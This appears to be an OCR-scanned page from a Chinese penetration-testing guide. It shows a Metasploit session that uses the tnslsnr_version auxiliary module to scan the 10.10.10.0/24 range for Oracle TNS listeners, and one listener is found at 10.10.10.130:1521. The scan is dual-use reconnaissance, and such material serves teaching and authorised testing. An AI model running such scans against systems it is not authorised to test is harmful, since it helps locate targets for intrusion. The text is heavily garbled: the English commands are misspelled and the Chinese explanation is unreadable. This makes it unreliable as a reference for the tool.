Name Current Setting Required Description

RHOSTS Ves Tre target address range or CIIR identifier
RECRT 1521 Ves The target port

THREADS 1 Ves The murer of concurrent threads

tnslsnr_version B 75 B 1% B A58 I 51 /D, 0 5 iy 5
(3) fHi [ set A4 14 B H Fp b bk 5 [

msf awaliary (tnslsnr version)> set RHOSTS 10.10.10.0/24
(4) i H] set Ay 20 BT A LT 1Y %0

msf awxdliary (tnslsnr version)> set THREADS 50

(5) A run Ay R AT FIH4.

mef auxiliary (tnslsnr version)> nn

PG R T

[* ] Scanned 051 of 256 hosts (0195 camplete)

[* ] Scanned 096 of 256 hosts (037% camplete)

[#* ] Scanned 101 of 256 hosts (0395 camplete)

[+ ] 10.10.10.130:1521 Oracle — Versicon: 32— bit Windows: Version 10.2.0.1.0 - Production
[* ] Scanned 144 of 256 hosts ( )
[* ] Scanned 148 of 256 hosts ( )
[* ] Scanned 182 of 256 hosts ( )
[* ] Scamned 194 of 256 hosts (075% camplete)
[* ] Scanned 232 of 256 hosts ( )
[* ] Scanned 241 of 256 hosts ( )
[* ] Scanned 256 of 256 hosts ( )
[* ] Axdliary module execution completed

A LU W AR 8 £ 1 i A 2% b R B — Al ORI 100 100 100 130 A JF BCRE A AY

Oracle 2048 % . 3 HH A Version 4 10. 2. 0. 1. 0-Production fR4s
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o FfF b S A A Y P RN 2 SR A
o IR E A ] DL K S D T IR
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